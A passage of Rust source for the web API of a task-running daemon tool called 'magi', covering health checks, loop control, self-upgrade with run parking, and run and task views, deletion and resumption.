1821 completed: Option<u64>,
1822 stale_for_secs: Option<i64>,
1823}
1824
1825impl DaemonView {
1826 fn of(status: Option<daemon::Reading>) -> Self {
1830 let Some(status) = status else {
1831 return Self {
1832 running: false,
1833 idle: None,
1834 pid: None,
1835 current: Vec::new(),
1836 completed: None,
1837 stale_for_secs: None,
1838 };
1839 };
1840 let now = Timestamp::now();
1841 let age = status.age_secs(now);
1842 Self {
1843 running: status.running(now),
1844 idle: Some(status.idle),
1845 pid: status.pid,
1846 current: status.current,
1847 completed: Some(status.completed),
1848 stale_for_secs: age,
1849 }
1850 }
1851}
1852
1853async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1854 blocking(move || {
1855 let reading = daemon::read_status(&ui.home);
1859 let loop_rev = ui.lock_loop().rev;
1863 let update = cached_update_view(&ui.repo);
1864 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1865 Ok(Json(HealthView {
1866 version: env!("CARGO_PKG_VERSION"),
1867 home: ui.home.display().to_string(),
1868 queue_rev: ui.queue.revision(),
1869 runs_rev: runs_revision(&ui.runs),
1870 questions_rev: ui.questions.revision(),
1871 talks_rev: ui.talks.revision(),
1872 notifications_rev: ui.notices.revision(),
1873 notifications_unread: ui.notices.count_unread(),
1874 loop_rev,
1875 runs_unreadable: runs_unreadable(&ui.runs),
1876 questions_open: ui.questions.count_open(),
1877 questions_needs_owner: ui.questions.count_needs_owner(),
1878 daemon: DaemonView::of(reading.clone()),
1879 looping: ui.loop_view(reading),
1880 disk: DiskView::of(&ui),
1881 update,
1882 upgrade,
1883 }))
1884 })
1885 .await
1886}
1887
1888#[derive(Debug, Serialize)]
1890struct LoopView {
1891 running: bool,
1893 stopping: bool,
1901 parking: bool,
1909 owned: bool,
1917 repo: String,
1920 merge: Option<String>,
1923 last_error: Option<String>,
1931 daemon: DaemonView,
1934}
1935
1936#[derive(Debug, Clone, Copy)]
1945struct Foreign {
1946 pid: Option<u32>,
1948}
1949
1950impl Foreign {
1951 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1954 let reading = reading?;
1955 if !reading.running(Timestamp::now()) {
1956 return None;
1957 }
1958 match reading.pid {
1959 Some(pid) if pid == std::process::id() => None,
1960 pid => Some(Self { pid }),
1964 }
1965 }
1966
1967 fn who(&self) -> String {
1970 match self.pid {
1971 Some(pid) => format!("another magi process (pid {pid})"),
1972 None => "another magi process".to_owned(),
1973 }
1974 }
1975}
1976
1977type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1982
1983fn launch_daemon(
1985 opts: daemon::Opts,
1986 stop: daemon::Stop,
1987) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1988 Box::pin(daemon::serve_until(opts, stop))
1989}
1990
1991#[derive(Debug, Default)]
1993struct LoopState {
1994 live: Option<Live>,
1996 rev: u64,
2004 last_error: Option<String>,
2007 resume_after_handover: bool,
2012}
2013
2014#[derive(Debug)]
2016struct Live {
2017 stop: daemon::Stop,
2019 handle: tokio::task::JoinHandle<()>,
2024 opts: daemon::Opts,
2028}
2029
2030impl Live {
2031 fn alive(&self) -> bool {
2033 !self.handle.is_finished()
2034 }
2035}
2036
2037fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2044 state.lock().unwrap_or_else(PoisonError::into_inner)
2045}
2046
2047async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2049 blocking(move || {
2050 let reading = daemon::read_status(&ui.home);
2051 Ok(Json(ui.loop_view(reading)))
2052 })
2053 .await
2054}
2055
2056#[derive(Debug, Deserialize)]
2062#[serde(deny_unknown_fields)]
2063struct LoopCommand {
2064 running: bool,
2065 #[serde(default)]
2075 park: bool,
2076}
2077
2078async fn loop_post(
2086 State(ui): State<Arc<Ui>>,
2087 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2088) -> ApiResult<Json<LoopView>> {
2089 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2092 blocking(move || {
2093 let reading = daemon::read_status(&ui.home);
2094 let foreign = Foreign::of(reading.as_ref());
2095 if body.running {
2096 ui.start_loop(foreign)?;
2097 } else {
2098 ui.stop_loop(foreign, body.park)?;
2099 }
2100 Ok(Json(ui.loop_view(reading)))
2101 })
2102 .await
2103}
2104
2105#[derive(Debug, Serialize)]
2107struct UpgradeView {
2108 from: String,
2110 to: Option<String>,
2112 parked: Option<String>,
2114 detail: String,
2116}
2117
2118async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2142 let reading = daemon::read_status(&ui.home);
2143 if let Some(other) = Foreign::of(reading.as_ref()) {
2144 return Err(ApiError::conflict(format!(
2145 "the loop belongs to {}, so replacing this binary would leave \
2146 that process running an old one against the same queue. Upgrade \
2147 where it was started.",
2148 other.who()
2149 )));
2150 }
2151
2152 if crate::updater::disabled_by_env() {
2158 return Ok((
2159 StatusCode::OK,
2160 Json(UpgradeView {
2161 from: env!("CARGO_PKG_VERSION").to_owned(),
2162 to: None,
2163 parked: None,
2164 detail: format!(
2165 "Automatic updates are disabled by {}. Nothing was parked \
2166 and nothing restarted.",
2167 crate::updater::NO_AUTOUPDATE_ENV
2168 ),
2169 }),
2170 ));
2171 }
2172
2173 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2178 let from = env!("CARGO_PKG_VERSION").to_owned();
2179 let latest = match crate::updater::Checker::new(&cfg.update) {
2180 Some(checker) => checker
2181 .newer_release()
2182 .await
2183 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2184 None => None,
2185 };
2186 let Some(latest) = latest else {
2187 return Ok((
2188 StatusCode::OK,
2189 Json(UpgradeView {
2190 from,
2191 to: None,
2192 parked: None,
2193 detail: "Already on the newest release. Nothing was parked \
2194 and nothing restarted."
2195 .to_owned(),
2196 }),
2197 ));
2198 };
2199
2200 let parked = ui.park_for_upgrade()?;
2203 let detail = match &parked {
2204 Some(run) => format!(
2209 "Run {} is parking at its next step, which can take as long as \
2210 the step it is on - up to an hour for an implement wave. The \
2211 deck replaces itself once it parks, comes back, and the loop \
2212 carries that run on from where it stopped. Nothing is lost if \
2213 you close this.",
2214 crate::run::short_of(run)
2215 ),
2216 None => "The deck replaces itself and comes back. Nothing was in \
2217 flight to park."
2218 .to_owned(),
2219 };
2220
2221 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2225 progress.parked_run = parked.clone();
2226 let _ = updater::write_progress(&ui.home, &progress);
2227
2228 let home = ui.home.clone();
2229 let looping = ui.looping();
2230 tokio::spawn(async move {
2231 if let Err(e) = upgrade_and_restart(home.clone()).await {
2232 tracing::error!("the upgrade did not complete: {e:#}");
2233 lock_or_recover(&looping).resume_after_handover = false;
2234 if let Some(mut progress) = updater::read_progress(&home) {
2235 progress.fail(format!("{e:#}"));
2236 let _ = updater::write_progress(&home, &progress);
2237 }
2238 }
2239 });
2240
2241 Ok((
2242 StatusCode::ACCEPTED,
2243 Json(UpgradeView {
2244 from,
2245 to: Some(latest.tag_name),
2246 parked,
2247 detail,
2248 }),
2249 ))
2250}
2251
2252async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2257 crate::updater::run_self_update(true, false, true).await?;
2260 tracing::info!("binary replaced - asking the server to hand over");
2261 if let Some(mut progress) = updater::read_progress(&home) {
2262 progress.advance(updater::Stage::Replaced);
2263 let _ = updater::write_progress(&home, &progress);
2264 }
2265 HANDOVER.notify_one();
2266 Ok(())
2267}
2268
2269#[derive(Debug, Serialize)]
2275struct RunSummary {
2276 id: String,
2277 short: String,
2278 status: String,
2279 done: bool,
2280 instruction: String,
2281 title: String,
2282 repo: String,
2283 repo_name: String,
2284 created_at: String,
2285 updated_at: String,
2286 candidates: usize,
2287 viable: usize,
2288 judges: usize,
2289 winner: Option<char>,
2290 reviews: usize,
2291 quota_losses: usize,
2292 event: Option<String>,
2293 superseded_by: Option<String>,
2298 waiting: bool,
2305 live: crate::run::Liveness,
2309 pr: Option<crate::run::PrRecord>,
2311 unmerged_by_design: bool,
2317 origin_label: String,
2320}
2321
2322impl RunSummary {
2323 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2324 Self {
2325 id: state.id.clone(),
2326 short: state.short().to_owned(),
2327 status: status_word(state.status),
2328 done: state.status.done(),
2329 unmerged_by_design: state.unmerged_by_design(),
2330 instruction: state.instruction.clone(),
2331 title: title_from(&state.instruction, TITLE_MAX),
2332 repo: state.repo.display().to_string(),
2333 repo_name: state
2334 .repo
2335 .file_name()
2336 .map(|n| n.to_string_lossy().into_owned())
2337 .unwrap_or_default(),
2338 created_at: state.created_at.to_string(),
2339 updated_at: state.updated_at.to_string(),
2340 candidates: state.candidates.len(),
2341 viable: state.viable().len(),
2342 judges: state.config.graph.judges,
2343 winner: state.winner().map(|c| c.label),
2344 reviews: state.reviews.len(),
2345 quota_losses: state.quota.len(),
2346 event: state.events.last().map(|e| e.message.clone()),
2347 waiting,
2348 live,
2349 superseded_by: None,
2352 pr: state.pr.clone(),
2353 origin_label: crate::run::origin_label(state.origin.as_ref()),
2354 }
2355 }
2356}
2357
2358fn status_word(status: RunStatus) -> String {
2361 status.as_str().to_owned()
2365}
2366
2367#[derive(Debug, Deserialize)]
2369struct ListQuery {
2370 #[serde(default)]
2371 limit: Option<usize>,
2372}
2373
2374async fn runs_list(
2375 State(ui): State<Arc<Ui>>,
2376 Query(q): Query<ListQuery>,
2377) -> ApiResult<Json<Vec<RunSummary>>> {
2378 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2379 blocking(move || {
2380 let superseded = ui.queue.superseded();
2381 let open_runs: HashSet<String> = ui
2385 .questions
2386 .list()
2387 .into_iter()
2388 .filter(|q| q.status.open())
2389 .map(|q| q.run)
2390 .collect();
2391 let claimed: HashSet<String> =
2392 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2393 .into_iter()
2394 .map(|c| c.run)
2395 .collect();
2396 let states = run_ids(&ui.runs)
2397 .into_iter()
2398 .filter_map(|id| read_run(&ui.runs, &id).ok())
2403 .take(limit);
2404 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2405 let summaries = summarize(
2406 states,
2407 &open_runs,
2408 &claimed,
2409 &superseded,
2410 |p| probe.borrow_mut().status(p),
2411 |p| probe.borrow_mut().started_at(p),
2412 );
2413 Ok(Json(summaries))
2414 })
2415 .await
2416}
2417
2418fn summarize<I, S, D>(
2424 states: I,
2425 open_runs: &HashSet<String>,
2426 claimed: &HashSet<String>,
2427 superseded: &HashMap<String, String>,
2428 mut status_q: S,
2429 mut identity_q: D,
2430) -> Vec<RunSummary>
2431where
2432 I: IntoIterator<Item = RunState>,
2433 S: FnMut(u32) -> Option<bool>,
2434 D: FnMut(u32) -> Option<String>,
2435{
2436 states
2437 .into_iter()
2438 .map(|state| {
2439 let waiting = open_runs.contains(&state.id);
2440 let live =
2441 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2442 let mut row = RunSummary::of(&state, waiting, live);
2443 row.superseded_by = superseded
2444 .get(&state.id)
2445 .map(String::as_str)
2446 .map(crate::run::short_of)
2447 .map(str::to_owned);
2448 row
2449 })
2450 .collect()
2451}
2452
2453#[derive(Debug, Serialize)]
2460struct RunDetailView {
2461 #[serde(flatten)]
2462 state: RunState,
2463 instruction_md: Vec<md::Node>,
2464 live: crate::run::Liveness,
2479 unmerged_by_design: bool,
2484 done: bool,
2489 superseded_by: Option<String>,
2497 latest_attempt: Option<LatestAttempt>,
2511 task: Option<TaskRef>,
2514 origin_label: String,
2518}
2519
2520#[derive(Debug, Serialize)]
2522struct TaskRef {
2523 id: String,
2524 short: String,
2525 title: String,
2526 status: &'static str,
2528 attempts: usize,
2529 max_attempts: usize,
2530 is_latest: bool,
2532 latest: Option<RunBrief>,
2534 finished_by: Option<RunBrief>,
2536 closed_by_hand: bool,
2538}
2539
2540#[derive(Debug, Serialize)]
2542struct RunBrief {
2543 id: String,
2544 short: String,
2545 status: Option<&'static str>,
2547 outcome: String,
2549}
2550
2551fn task_outcome(
2554 task: &Task,
2555 this_run: &str,
2556 max_attempts: usize,
2557 read: impl Fn(&str) -> Option<RunState>,
2558) -> TaskRef {
2559 let history = task_history(task, read);
2560 let brief = |h: &TaskRunView| RunBrief {
2561 id: h.id.clone(),
2562 short: h.short.clone(),
2563 status: h.status,
2564 outcome: h.exit.edge_label(h.status),
2565 };
2566 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2567 let latest = if is_latest {
2568 None
2569 } else {
2570 history.last().map(brief)
2571 };
2572 let done = task.status == TaskStatus::Done;
2573 let finished_by = done
2574 .then(|| {
2575 history
2576 .iter()
2577 .rev()
2578 .find(|h| {
2579 matches!(
2580 h.exit,
2581 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2582 )
2583 })
2584 .map(brief)
2585 })
2586 .flatten();
2587 TaskRef {
2588 short: task.short().to_owned(),
2589 title: task.title.clone(),
2590 id: task.id.clone(),
2591 status: task.status.as_str(),
2592 attempts: task.attempts,
2593 max_attempts,
2594 is_latest,
2595 latest,
2596 closed_by_hand: done && finished_by.is_none(),
2597 finished_by,
2598 }
2599}
2600
2601#[derive(Debug, Serialize)]
2603struct LatestAttempt {
2604 id: String,
2605 short: String,
2606 resolved: bool,
2617 status: RunStatus,
2620 done: bool,
2622}
2623
2624impl RunDetailView {
2625 fn of(
2626 state: RunState,
2627 live: crate::run::Liveness,
2628 superseded_by: Option<String>,
2629 latest_attempt: Option<LatestAttempt>,
2630 task: Option<TaskRef>,
2631 ) -> Self {
2632 Self {
2633 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2634 origin_label: crate::run::origin_label(state.origin.as_ref()),
2635 live,
2636 unmerged_by_design: state.unmerged_by_design(),
2637 done: state.status.done(),
2638 superseded_by,
2639 latest_attempt,
2640 task,
2641 state,
2642 }
2643 }
2644}
2645
2646async fn run_detail(
2647 State(ui): State<Arc<Ui>>,
2648 Path(id): Path<String>,
2649) -> ApiResult<Json<RunDetailView>> {
2650 blocking(move || {
2651 let id = resolve_run(&ui.runs, &id)?;
2652 let state = read_run(&ui.runs, &id)?;
2653 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2654 let live = state.liveness(daemon_claims);
2655 let superseded_by = ui
2656 .queue
2657 .superseded_by(&id)
2658 .as_deref()
2659 .map(crate::run::short_of)
2660 .map(str::to_owned);
2661 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2665 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2666 short: head.short().to_owned(),
2667 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2668 status: head.status,
2669 done: head.status.done(),
2670 id: head.id,
2671 })
2672 });
2673 let max_attempts = daemon::Opts::default().max_attempts;
2674 let task = ui
2675 .queue
2676 .list()
2677 .into_iter()
2678 .find(|t| t.runs.contains(&id))
2679 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2680 Ok(Json(RunDetailView::of(
2681 state,
2682 live,
2683 superseded_by,
2684 latest_attempt,
2685 task,
2686 )))
2687 })
2688 .await
2689}
2690
2691async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2700 let (id, unreadable) = {
2701 let ui = Arc::clone(&ui);
2702 blocking(move || {
2703 let id = resolve_run(&ui.runs, &id)?;
2704 match read_run(&ui.runs, &id) {
2705 Ok(state) => {
2706 let in_flight =
2707 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2708 state
2709 .ensure_can_delete(in_flight)
2710 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2711 let dir = ui.runs.join(&id);
2712 std::fs::remove_dir_all(&dir)
2713 .with_context(|| format!("remove run directory {}", dir.display()))?;
2714 Ok((id, false))
2715 }
2716 Err(_) => {
2717 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2721 return Err(ApiError::conflict(format!(
2722 "run {id} is being worked on by a live daemon right now"
2723 )));
2724 }
2725 Ok((id, true))
2726 }
2727 }
2728 })
2729 .await?
2730 };
2731 if unreadable {
2732 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2733 .await
2734 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2735 }
2736 let ui = Arc::clone(&ui);
2737 let done = id.clone();
2738 blocking(move || {
2739 ui.questions.abandon_for_run(
2742 &done,
2743 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2744 )?;
2745 Ok(())
2746 })
2747 .await?;
2748 Ok(StatusCode::NO_CONTENT)
2749}
2750
2751async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2775 let (id, state) = {
2776 let ui = Arc::clone(&ui);
2777 blocking(move || {
2778 let id = resolve_run(&ui.runs, &id)?;
2779 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2780 return Err(ApiError::conflict(format!(
2781 "run {id} is being worked on by a live daemon right now"
2782 )));
2783 }
2784 let state = read_run(&ui.runs, &id).ok();
2785 Ok((id, state))
2786 })
2787 .await?
2788 };
2789 let removed = match state {
2790 Some(mut state) => {
2791 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2792 .await
2793 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2794 if removed.is_empty() {
2799 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2800 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2801 }
2802 removed
2803 }
2804 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2805 .await
2806 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2807 };
2808 Ok(Json(FoldView {
2809 run: id,
2810 removed_count: removed.len(),
2811 removed,
2812 }))
2813}
2814
2815#[derive(Debug, Serialize)]
2817struct FoldView {
2818 run: String,
2819 removed: Vec<String>,
2821 removed_count: usize,
2822}
2823
2824#[derive(Debug, Deserialize)]
2827struct FoldMergedBody {
2828 #[serde(default)]
2829 pr_url: String,
2830}
2831
2832async fn run_fold_merged(
2852 State(ui): State<Arc<Ui>>,
2853 Path(id): Path<String>,
2854 Json(body): Json<FoldMergedBody>,
2855) -> ApiResult<Json<FoldMergedView>> {
2856 let pr_url = body.pr_url.trim().to_owned();
2857 if pr_url.is_empty() {
2858 return Err(ApiError::bad_request("pr_url is required"));
2859 }
2860 let (id, mut state) = {
2861 let ui = Arc::clone(&ui);
2862 blocking(move || {
2863 let id = resolve_run(&ui.runs, &id)?;
2864 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2865 return Err(ApiError::conflict(format!(
2866 "run {id} is being worked on by a live daemon right now"
2867 )));
2868 }
2869 let state = read_run(&ui.runs, &id)?;
2870 Ok((id, state))
2871 })
2872 .await?
2873 };
2874 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2875 .await
2876 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2877 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2878 .await
2879 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2880 Ok(Json(FoldMergedView {
2881 run: id,
2882 before: before.as_str().to_owned(),
2883 after: after.as_str().to_owned(),
2884 removed,
2885 }))
2886}
2887
2888#[derive(Debug, Serialize)]
2890struct FoldMergedView {
2891 run: String,
2892 before: String,
2894 after: String,
2896 removed: Vec<String>,
2898}
2899
2900async fn run_resume(
2920 State(ui): State<Arc<Ui>>,
2921 Path(id): Path<String>,
2922) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2923 let (id, state) = {
2924 let ui = Arc::clone(&ui);
2925 blocking(move || {
2926 let id = resolve_run(&ui.runs, &id)?;
2927 let state = read_run(&ui.runs, &id)?;
2928 Ok((id, state))
2929 })
2930 .await?
2931 };
2932 if let Some(to) = &state.released_to {
2933 return Err(ApiError::conflict(format!(
2934 "run {} can no longer be resumed: its worktree was released to run {}, which \
2935 took the branch over.",
2936 state.short(),
2937 crate::run::short_of(to)
2938 )));
2939 }
2940 if !state.status.resumable() {
2941 return Err(ApiError::conflict(format!(
2942 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2943 state.short(),
2944 status_word(state.status)
2945 )));
2946 }
2947 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2952 .into_iter()
2953 .next()
2954 {
2955 return Err(ApiError::conflict(format!(
2956 "the loop is running run {} right now; stop it first, or wait for \
2957 it to finish, before resuming a run by hand.",
2958 crate::run::short_of(&work.run)
2959 )));
2960 }
2961 let _resume = ui.begin_resume(&id)?;
2962
2963 let queued = RunSummary::of(
2966 &state,
2967 !ui.questions.open_for(&id).is_empty(),
2968 state.liveness(false),
2969 );
2970 let run = id.clone();
2971 tokio::spawn(async move {
2972 let _resume = _resume;
2973 match crate::graph::Runner::resume(&run) {
2974 Ok(mut runner) => {
2975 if let Err(e) = runner.execute().await {
2976 tracing::warn!("resume of run {run} stopped: {e:#}");
2977 }
2978 }
2979 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2982 }
2983 });
2984 Ok((StatusCode::ACCEPTED, Json(queued)))
2985}
2986
2987async fn run_report(
2988 State(ui): State<Arc<Ui>>,
2989 Path(id): Path<String>,
2990) -> ApiResult<impl IntoResponse> {
2991 let text = blocking(move || {
2992 let id = resolve_run(&ui.runs, &id)?;
2993 let state = read_run(&ui.runs, &id)?;
2997 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2998 let live = state.liveness(daemon_claims);
2999 Ok(format!(
3000 "{}{}",
3001 report::run(&state),
3002 report::active_seats(&state, live)
3003 ))
3004 })
3005 .await?;
3006 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3007}
3008
3009#[derive(Debug, Serialize)]
3015struct TaskView {
3016 #[serde(flatten)]
3017 task: Task,
3018 source_label: String,
3019 status_str: &'static str,
3020 instruction_md: Vec<md::Node>,
3024 waits_on: Vec<String>,
3028 stuck_roots: Vec<String>,
3031}
3032
3033impl From<Task> for TaskView {
3034 fn from(task: Task) -> Self {
3035 Self {
3036 source_label: task.source.label(),
3037 status_str: task.status.as_str(),
3038 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3039 waits_on: Vec::new(),
3040 stuck_roots: Vec::new(),
3041 task,
3042 }
3043 }
3044}
3045
3046impl TaskView {
3047 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3048 let waits_on = inv.waits_on(&task);
3049 let stuck_roots = inv
3050 .stuck_roots(&task)
3051 .iter()
3052 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3053 .collect();
3054 Self {
3055 waits_on,
3056 stuck_roots,
3057 ..Self::from(task)
3058 }
3059 }
3060}
3061
3062#[derive(Debug, Default, Deserialize)]
3065#[serde(default)]
3066struct ReposQuery {
3067 refresh: u8,
3068}
3069
3070async fn repos_list(
3077 State(ui): State<Arc<Ui>>,
3078 Query(q): Query<ReposQuery>,
3079) -> ApiResult<Json<Vec<repos::Repo>>> {
3080 let refresh = q.refresh != 0;
3081 blocking(move || {
3082 let (cfg, _) = Config::discover(&ui.repo, None)?;
3083 Ok(Json(ui.repos_cache.list(
3084 &cfg.repos.roots,
3085 Duration::from_secs(cfg.repos.scan_ttl),
3086 refresh,
3087 )))
3088 })
3089 .await
3090}
3091
3092async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3096 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3097}
3098
3099#[derive(Debug, Deserialize)]
3101#[serde(deny_unknown_fields)]
3102struct RolesBody {
3103 revision: String,
3105 roles: std::collections::BTreeMap<String, Vec<String>>,
3107}
3108
3109async fn settings_put_roles(
3115 State(ui): State<Arc<Ui>>,
3116 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3117) -> ApiResult<Json<settings::SettingsView>> {
3118 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3119 blocking(move || {
3120 settings::save(
3121 &ui.repo,
3122 ui.machine_config.as_deref(),
3123 &body.revision,
3124 &body.roles,
3125 )
3126 .map(Json)
3127 .map_err(|e| match e {
3128 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3129 settings::SaveError::Refused(m) => ApiError {
3130 status: StatusCode::UNPROCESSABLE_ENTITY,
3131 message: m,
3132 },
3133 settings::SaveError::Internal(m) => ApiError::internal(m),
3134 })
3135 })
3136 .await
3137}
3138
3139async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
3140 blocking(move || {
3141 let tasks = ui.queue.list();
3142 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3143 Ok(Json(
3144 tasks
3145 .into_iter()
3146 .map(|t| TaskView::with_inventory(t, &inv))
3147 .collect(),
3148 ))
3149 })
3150 .await
3151}
3152
3153#[derive(Debug, Serialize)]
3155struct TaskRunView {
3156 n: usize,
3158 id: String,
3159 short: String,
3160 kind: &'static str,
3162 status: Option<&'static str>,
3164 readable: bool,
3166 provisional: bool,
3168 description: String,
3170 outcome: String,
3172 created_at: Option<Timestamp>,
3173 pr: Option<String>,
3174 exit: RunExit,
3176 attempt: AttemptCost,
3178 branch: Option<String>,
3180}
3181
3182#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3184#[serde(rename_all = "snake_case")]
3185enum RunExit {
3186 Unreadable,
3187 Interrupted,
3189 Parked,
3190 QuotaStall,
3191 ResumedQuotaStall,
3195 Merged,
3196 Ready,
3197 Superseded,
3198 AlreadyInBase,
3201 Stalled,
3203 HeldWithPr,
3205 NoopHeld,
3206 Spent,
3208 InProgress,
3209}
3210
3211#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3212#[serde(rename_all = "snake_case")]
3213enum AttemptCost {
3214 Spent,
3215 Refunded,
3216 None,
3217 Unknown,
3219}
3220
3221impl RunExit {
3222 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3223 let Some(s) = s else {
3224 return Self::Unreadable;
3225 };
3226 let status = s.status;
3227 if resumed_later {
3228 Self::Interrupted
3229 } else if s.parked {
3230 Self::Parked
3231 } else if !status.done() {
3232 Self::InProgress
3233 } else if matches!(status, RunStatus::Merged) {
3234 Self::Merged
3235 } else if matches!(status, RunStatus::Ready) {
3236 Self::Ready
3237 } else if matches!(status, RunStatus::Superseded) {
3238 Self::Superseded
3239 } else if matches!(status, RunStatus::AlreadyInBase) {
3240 Self::AlreadyInBase
3241 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3242 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3243 {
3244 if resumed {
3245 Self::ResumedQuotaStall
3246 } else {
3247 Self::QuotaStall
3248 }
3249 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3250 Self::HeldWithPr
3251 } else if matches!(status, RunStatus::VerifiedNoop) {
3252 Self::NoopHeld
3253 } else if matches!(status, RunStatus::Stalled) {
3254 Self::Stalled
3255 } else {
3256 Self::Spent
3257 }
3258 }
3259
3260 fn cost(self) -> AttemptCost {
3261 match self {
3262 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3263 Self::Merged
3264 | Self::Ready
3265 | Self::Stalled
3266 | Self::HeldWithPr
3267 | Self::NoopHeld
3268 | Self::Spent => AttemptCost::Spent,
3269 Self::InProgress => AttemptCost::None,
3270 Self::AlreadyInBase => AttemptCost::Refunded,
3271 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3272 AttemptCost::Unknown
3273 }
3274 }
3275 }
3276
3277 fn edge_label(self, status: Option<&str>) -> String {
3279 match self {
3280 Self::Unreadable => "record unreadable".to_owned(),
3281 Self::Interrupted => "interrupted before the run finished".to_owned(),
3282 Self::Parked => "parked, attempt refunded".to_owned(),
3283 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3284 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3285 Self::Merged => "merged".to_owned(),
3286 Self::Ready => "ready, not merged".to_owned(),
3287 Self::Superseded => "superseded by a later attempt".to_owned(),
3288 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3289 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3290 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3291 Self::NoopHeld => "verified no-op".to_owned(),
3292 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3293 Self::InProgress => "in progress".to_owned(),
3294 }
3295 }
3296
3297 fn explains(self, end: TaskStatus) -> bool {
3300 match self {
3301 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3302 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3303 Self::Unreadable | Self::Superseded | Self::Ready => true,
3304 _ => end != TaskStatus::Done,
3305 }
3306 }
3307}
3308
3309#[derive(Debug, Serialize)]
3311struct TaskDetailView {
3312 #[serde(flatten)]
3313 task: TaskView,
3314 max_attempts: usize,
3317 history: Vec<TaskRunView>,
3318 flow: FlowView,
3319 runs_unreadable: usize,
3321 attempts_note: &'static str,
3323}
3324
3325const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3326and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3327on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
